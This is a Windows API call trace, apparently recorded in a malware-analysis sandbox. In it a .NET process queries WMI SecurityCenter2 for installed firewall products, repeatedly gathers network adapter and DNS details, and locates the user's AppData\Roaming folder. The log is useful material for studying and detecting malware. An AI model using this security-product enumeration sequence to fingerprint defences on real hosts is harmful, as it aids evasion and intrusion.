	[0085.030] IUnknown:QueryInterface (in: This=0x69bd45c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7d0 | out: ppvObject=0x3fe7d0*=0x72c96c) returned 0x0
	[0085.030] IUnknown:QueryInterface (in: This=0x69bd45c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7cc | out: ppvObject=0x3fe7cc*=0x72c94c) returned 0x0
	[0085.030] IClientSecurity:SetBlanket (This=0x72c94c, pProxy=0x69bd45c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0085.030] IUnknown:Release (This=0x72c94c) returned 0x4
	[0085.030] IUnknown:Release (This=0x72c96c) returned 0x3
	[0085.030] CoTaskMemFree (pv=0x5420298) 
	[0085.030] IUnknown:Release (This=0x69bd45c) returned 0x2
	[0085.030] SysStringLen (param_1=0x0) returned 0x0
	[0085.030] CoGetContextToken (in: pToken=0x3fe6d8 | out: pToken=0x3fe6d8) returned 0x0
	[0085.030] IUnknown:AddRef (This=0x69bd45c) returned 0x3
	[0085.031] IWbemServices:ExecQuery (in: This=0x69bd45c, strQueryLanguage="WQL", strQuery="SELECT * FROM FirewallProduct", lFlags=16, pCtx=0x0, ppEnum=0x3fe8e8 | out: ppEnum=0x3fe8e8*=0x69bd5fc) returned 0x0
	[0085.033] IUnknown:QueryInterface (in: This=0x69bd5fc, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe74c | out: ppvObject=0x3fe74c*=0x69bd600) returned 0x0
	[0085.034] IClientSecurity:QueryBlanket (in: This=0x69bd600, pProxy=0x69bd5fc, pAuthnSvc=0x3fe79c, pAuthzSvc=0x3fe798, pServerPrincName=0x3fe790, pAuthnLevel=0x3fe794, pImpLevel=0x3fe784, pAuthInfo=0x3fe788, pCapabilites=0x3fe78c | out: pAuthnSvc=0x3fe79c*=0xa, pAuthzSvc=0x3fe798*=0x0, pServerPrincName=0x3fe790, pAuthnLevel=0x3fe794*=0x6, pImpLevel=0x3fe784*=0x2, pAuthInfo=0x3fe788, pCapabilites=0x3fe78c*=0x1) returned 0x0
	[0085.034] IUnknown:Release (This=0x69bd600) returned 0x1
	[0085.034] IUnknown:QueryInterface (in: This=0x69bd5fc, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe740 | out: ppvObject=0x3fe740*=0x72cb4c) returned 0x0
	[0085.034] IUnknown:QueryInterface (in: This=0x69bd5fc, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe73c | out: ppvObject=0x3fe73c*=0x69bd600) returned 0x0
	[0085.034] IClientSecurity:SetBlanket (This=0x69bd600, pProxy=0x69bd5fc, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0085.035] IUnknown:Release (This=0x69bd600) returned 0x2
	[0085.035] IUnknown:Release (This=0x72cb4c) returned 0x1
	[0085.035] CoTaskMemFree (pv=0x5420328) 
	[0085.036] IUnknown:QueryInterface (in: This=0x69bd5fc, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe338 | out: ppvObject=0x3fe338*=0x72cb4c) returned 0x0
	[0085.036] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3fe2f4 | out: ppvObject=0x3fe2f4*=0x0) returned 0x80004002
	[0085.036] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3fe114 | out: ppvObject=0x3fe114*=0x0) returned 0x80004002
	[0085.036] IUnknown:AddRef (This=0x72cb4c) returned 0x3
	[0085.036] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x3fdc54 | out: ppvObject=0x3fdc54*=0x0) returned 0x80004002
	[0085.037] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x3fdc04 | out: ppvObject=0x3fdc04*=0x0) returned 0x80004002
	[0085.037] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fdc10 | out: ppvObject=0x3fdc10*=0x72caac) returned 0x0
	[0085.037] IMarshal:GetUnmarshalClass (in: This=0x72caac, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3fdc18 | out: pCid=0x3fdc18*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.037] IUnknown:Release (This=0x72caac) returned 0x3
	[0085.037] CoGetContextToken (in: pToken=0x3fdc70 | out: pToken=0x3fdc70) returned 0x0
	[0085.037] CoGetContextToken (in: pToken=0x3fe078 | out: pToken=0x3fe078) returned 0x0
	[0085.037] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe108 | out: ppvObject=0x3fe108*=0x72cb34) returned 0x0
	[0085.037] IRpcOptions:Query (in: This=0x72cb34, pPrx=0x72cb4c, dwProperty=2, pdwValue=0x3fe130 | out: pdwValue=0x3fe130) returned 0x80004002
	[0085.037] IUnknown:Release (This=0x72cb34) returned 0x3
	[0085.037] IUnknown:Release (This=0x72cb4c) returned 0x2
	[0085.037] CoGetContextToken (in: pToken=0x3fe648 | out: pToken=0x3fe648) returned 0x0
	[0085.037] CoGetContextToken (in: pToken=0x3fe5a8 | out: pToken=0x3fe5a8) returned 0x0
	[0085.037] IUnknown:QueryInterface (in: This=0x72cb4c, riid=0x3fe678*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3fe674 | out: ppvObject=0x3fe674*=0x69bd5fc) returned 0x0
	[0085.037] IUnknown:AddRef (This=0x69bd5fc) returned 0x4
	[0085.037] IUnknown:Release (This=0x69bd5fc) returned 0x3
	[0085.037] IUnknown:Release (This=0x69bd5fc) returned 0x2
	[0085.037] IUnknown:Release (This=0x69bd45c) returned 0x2
	[0085.037] SysStringLen (param_1=0x0) returned 0x0
	[0085.037] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bc940, puCount=0x3fe934 | out: puCount=0x3fe934*=0x2) returned 0x0
	[0085.037] WbemDefPath:IWbemPath:GetText (in: This=0x69bc940, lFlags=4, puBuffLength=0x3fe930*=0x0, pszText=0x0 | out: puBuffLength=0x3fe930*=0x1f, pszText=0x0) returned 0x0
	[0085.037] WbemDefPath:IWbemPath:GetText (in: This=0x69bc940, lFlags=4, puBuffLength=0x3fe930*=0x1f, pszText="000000000000000000000000000000" | out: puBuffLength=0x3fe930*=0x1f, pszText="\\\\YKYD69Q\\root\\SecurityCenter2") returned 0x0
	[0085.037] CoGetContextToken (in: pToken=0x3fe780 | out: pToken=0x3fe780) returned 0x0
	[0085.037] IUnknown:AddRef (This=0x69bd5fc) returned 0x3
	[0085.037] IEnumWbemClassObject:Clone (in: This=0x69bd5fc, ppEnum=0x3fe940 | out: ppEnum=0x3fe940*=0x69bd6c4) returned 0x0
	[0085.038] IUnknown:QueryInterface (in: This=0x69bd6c4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe804 | out: ppvObject=0x3fe804*=0x69bd6c8) returned 0x0
	[0085.038] IClientSecurity:QueryBlanket (in: This=0x69bd6c8, pProxy=0x69bd6c4, pAuthnSvc=0x3fe854, pAuthzSvc=0x3fe850, pServerPrincName=0x3fe848, pAuthnLevel=0x3fe84c, pImpLevel=0x3fe83c, pAuthInfo=0x3fe840, pCapabilites=0x3fe844 | out: pAuthnSvc=0x3fe854*=0xa, pAuthzSvc=0x3fe850*=0x0, pServerPrincName=0x3fe848, pAuthnLevel=0x3fe84c*=0x6, pImpLevel=0x3fe83c*=0x2, pAuthInfo=0x3fe840, pCapabilites=0x3fe844*=0x1) returned 0x0
	[0085.038] IUnknown:Release (This=0x69bd6c8) returned 0x1
	[0085.038] IUnknown:QueryInterface (in: This=0x69bd6c4, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7f8 | out: ppvObject=0x3fe7f8*=0x72cd2c) returned 0x0
	[0085.038] IUnknown:QueryInterface (in: This=0x69bd6c4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7f4 | out: ppvObject=0x3fe7f4*=0x69bd6c8) returned 0x0
	[0085.038] IClientSecurity:SetBlanket (This=0x69bd6c8, pProxy=0x69bd6c4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0085.040] IUnknown:Release (This=0x69bd6c8) returned 0x2
	[0085.040] IUnknown:Release (This=0x72cd2c) returned 0x1
	[0085.040] CoTaskMemFree (pv=0x5420298) 
	[0085.040] IUnknown:QueryInterface (in: This=0x69bd6c4, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe3e0 | out: ppvObject=0x3fe3e0*=0x72cd2c) returned 0x0
	[0085.040] IUnknown:QueryInterface (in: This=0x72cd2c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3fe39c | out: ppvObject=0x3fe39c*=0x0) returned 0x80004002
	[0085.040] IUnknown:QueryInterface (in: This=0x72cd2c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3fe1bc | out: ppvObject=0x3fe1bc*=0x0) returned 0x80004002
	[0085.040] IUnknown:AddRef (This=0x72cd2c) returned 0x3
	[0085.040] IUnknown:QueryInterface (in: This=0x72cd2c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x3fdcfc | out: ppvObject=0x3fdcfc*=0x0) returned 0x80004002
	[0085.041] IUnknown:QueryInterface (in: This=0x72cd2c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x3fdcac | out: ppvObject=0x3fdcac*=0x0) returned 0x80004002
	[0085.041] IUnknown:QueryInterface (in: This=0x72cd2c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fdcb8 | out: ppvObject=0x3fdcb8*=0x72cc8c) returned 0x0
	[0085.041] IMarshal:GetUnmarshalClass (in: This=0x72cc8c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3fdcc0 | out: pCid=0x3fdcc0*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.041] IUnknown:Release (This=0x72cc8c) returned 0x3
	[0085.041] CoGetContextToken (in: pToken=0x3fdd18 | out: pToken=0x3fdd18) returned 0x0
	[0085.041] CoGetContextToken (in: pToken=0x3fe120 | out: pToken=0x3fe120) returned 0x0
	[0085.041] IUnknown:QueryInterface (in: This=0x72cd2c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe1b0 | out: ppvObject=0x3fe1b0*=0x72cd14) returned 0x0
	[0085.041] IRpcOptions:Query (in: This=0x72cd14, pPrx=0x72cd2c, dwProperty=2, pdwValue=0x3fe1d8 | out: pdwValue=0x3fe1d8) returned 0x80004002
	[0085.041] IUnknown:Release (This=0x72cd14) returned 0x3
	[0085.041] IUnknown:Release (This=0x72cd2c) returned 0x2
	[0085.041] CoGetContextToken (in: pToken=0x3fe6f0 | out: pToken=0x3fe6f0) returned 0x0
	[0085.041] CoGetContextToken (in: pToken=0x3fe650 | out: pToken=0x3fe650) returned 0x0
	[0085.041] IUnknown:QueryInterface (in: This=0x72cd2c, riid=0x3fe720*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3fe71c | out: ppvObject=0x3fe71c*=0x69bd6c4) returned 0x0
	[0085.041] IUnknown:AddRef (This=0x69bd6c4) returned 0x4
	[0085.041] IUnknown:Release (This=0x69bd6c4) returned 0x3
	[0085.041] IUnknown:Release (This=0x69bd6c4) returned 0x2
	[0085.041] IUnknown:Release (This=0x69bd5fc) returned 0x2
	[0085.041] SysStringLen (param_1=0x0) returned 0x0
	[0085.041] IEnumWbemClassObject:Reset (This=0x69bd6c4) returned 0x0
	[0085.042] CoTaskMemAlloc (cb=0x4) returned 0x7199b0
	[0085.042] IEnumWbemClassObject:Next (in: This=0x69bd6c4, lTimeout=-1, uCount=0x1, apObjects=0x7199b0, puReturned=0x2490f10 | out: apObjects=0x7199b0*=0x0, puReturned=0x2490f10*=0x0) returned 0x1
	[0085.043] CoTaskMemFree (pv=0x7199b0) 
	[0085.043] CoGetContextToken (in: pToken=0x3fe868 | out: pToken=0x3fe868) returned 0x0
	[0085.043] IUnknown:Release (This=0x72cd2c) returned 0x1
	[0085.043] IUnknown:Release (This=0x69bd6c4) returned 0x0
	[0085.069] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x3fe8e4 | out: pFixedInfo=0x0, pOutBufLen=0x3fe8e4) returned 0x6f
	[0085.081] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x739c88
	[0085.081] GetNetworkParams (in: pFixedInfo=0x739c88, pOutBufLen=0x3fe8e4 | out: pFixedInfo=0x739c88, pOutBufLen=0x3fe8e4) returned 0x0
	[0085.089] LocalFree (hMem=0x739c88) returned 0x0
	[0085.090] GetAdaptersAddresses () returned 0x6f
	[0085.095] LocalAlloc (uFlags=0x0, uBytes=0xe10) returned 0x739c88
	[0085.095] GetAdaptersAddresses () returned 0x0
	[0085.130] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x0, pOutBufLen=0x3fe650) returned 0x6f
	[0085.139] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b91f0
	[0085.139] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6b91f0, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x6b91f0, pOutBufLen=0x3fe650) returned 0x0
	[0085.155] LocalFree (hMem=0x6b91f0) returned 0x0
	[0085.155] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x0, pOutBufLen=0x3fe650) returned 0x6f
	[0085.162] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b91f0
	[0085.162] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6b91f0, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x6b91f0, pOutBufLen=0x3fe650) returned 0x0
	[0085.169] LocalFree (hMem=0x6b91f0) returned 0x0
	[0085.169] LocalFree (hMem=0x739c88) returned 0x0
	[0085.220] CoTaskMemAlloc (cb=0x20c) returned 0x743c40
	[0085.220] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x743c40 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0
	[0085.220] CoTaskMemFree (pv=0x743c40) 
	[0085.220] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3fe490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0085.220] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x3fe8e4 | out: pFixedInfo=0x0, pOutBufLen=0x3fe8e4) returned 0x6f
	[0085.230] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x743c40
	[0085.230] GetNetworkParams (in: pFixedInfo=0x743c40, pOutBufLen=0x3fe8e4 | out: pFixedInfo=0x743c40, pOutBufLen=0x3fe8e4) returned 0x0
	[0085.237] LocalFree (hMem=0x743c40) returned 0x0
	[0085.237] GetAdaptersAddresses () returned 0x6f
	[0085.242] LocalAlloc (uFlags=0x0, uBytes=0xe10) returned 0x743c40
	[0085.242] GetAdaptersAddresses () returned 0x0
	[0085.247] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x0, pOutBufLen=0x3fe650) returned 0x6f
	[0085.254] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b9390
	[0085.254] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6b9390, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x6b9390, pOutBufLen=0x3fe650) returned 0x0
	[0085.283] LocalFree (hMem=0x6b9390) returned 0x0
	[0085.283] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x0, pOutBufLen=0x3fe650) returned 0x6f
	[0085.290] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b9390
	[0085.290] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6b9390, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x6b9390, pOutBufLen=0x3fe650) returned 0x0
	[0085.298] LocalFree (hMem=0x6b9390) returned 0x0
	[0085.299] LocalFree (hMem=0x743c40) returned 0x0
	[0085.299] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x3fe8e4 | out: pFixedInfo=0x0, pOutBufLen=0x3fe8e4) returned 0x6f
	[0085.306] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x733c60
	[0085.306] GetNetworkParams (in: pFixedInfo=0x733c60, pOutBufLen=0x3fe8e4 | out: pFixedInfo=0x733c60, pOutBufLen=0x3fe8e4) returned 0x0
	[0085.313] LocalFree (hMem=0x733c60) returned 0x0
	[0085.313] GetAdaptersAddresses () returned 0x6f
	[0085.318] LocalAlloc (uFlags=0x0, uBytes=0xe10) returned 0x743ab0
	[0085.318] GetAdaptersAddresses () returned 0x0
	[0085.323] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x0, pOutBufLen=0x3fe650) returned 0x6f
	[0085.329] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b9390
	[0085.329] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6b9390, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x6b9390, pOutBufLen=0x3fe650) returned 0x0
	[0085.336] LocalFree (hMem=0x6b9390) returned 0x0
	[0085.336] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x0, pOutBufLen=0x3fe650) returned 0x6f
	[0085.343] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b9390
	[0085.343] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6b9390, pOutBufLen=0x3fe650 | out: pPerAdapterInfo=0x6b9390, pOutBufLen=0x3fe650) returned 0x0
	[0085.351] LocalFree (hMem=0x6b9390) returned 0x0
	[0085.351] LocalFree (hMem=0x743ab0) returned 0x0
	[0085.352] SetForegroundWindow (hWnd=0x10210) returned 0
	[0085.352] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1
	[0085.352] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fd868) returned 0x0
	[0085.352] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x46, wParam=0x0, lParam=0x3fedfc) returned 0x0
	[0085.353] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0x46, wParam=0x0, lParam=0x3fedfc) returned 0x0
	[0085.353] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0x47, wParam=0x0, lParam=0x3fedfc) returned 0x0
	[0085.353] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0xd, wParam=0x104, lParam=0x22dc5f8) returned 0x0
	[0085.354] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0x83, wParam=0x1, lParam=0x3fe9e0) returned 0x0
	[0085.354] NtdllDefWindowProc_W () returned 0x0
	[0085.354] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x20208, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0
	[0085.354] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0
	[0085.354] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10214, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0
	[0085.354] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x200000, lParam=0x0) returned 0x1
	[0085.355] OleInitialize (pvReserved=0x0) returned 0x0
	[0085.355] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x3febbc | out: lplpMessageFilter=0x3febbc*=0x0) returned 0x0
	[0085.355] SetFocus (hWnd=0x10210) returned 0x0
	[0085.356] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x3feea0 | out: lpdwProcessId=0x3feea0) returned 0x7a8
	[0085.356] GetCurrentThreadId () returned 0x7a8
	[0085.356] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc1cb
	[0085.356] PostMessageW (hWnd=0x10210, Msg=0xc1cb, wParam=0x0, lParam=0x0) returned 1
	[0085.356] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0085.357] IsWindowUnicode (hWnd=0x10210) returned 1
	[0085.357] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0085.357] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0085.357] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0085.358] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0085.358] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0086.013] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0086.013] IsWindowUnicode (hWnd=0x10210) returned 1
	[0086.013] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0086.013] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0086.013] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0086.013] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
	[0086.013] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0086.013] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0086.013] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
	[0086.013] WaitMessage () returned 1
	[0086.532] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 1
	[0086.533] IsWindowUnicode (hWnd=0x10210) returned 1
	[0086.533] GetMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ff228) returned 1
	[0086.533] TranslateMessage (lpMsg=0x3ff228) returned 0
	[0086.533] DispatchMessageW (lpMsg=0x3ff228) returned 0x0
	[0086.533] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1
	[0086.533] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0xff, lParam=0x3fdb9c) returned 0x0
	[0086.533] PeekMessageW (in: lpMsg=0x3ff228, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ff228) returned 0
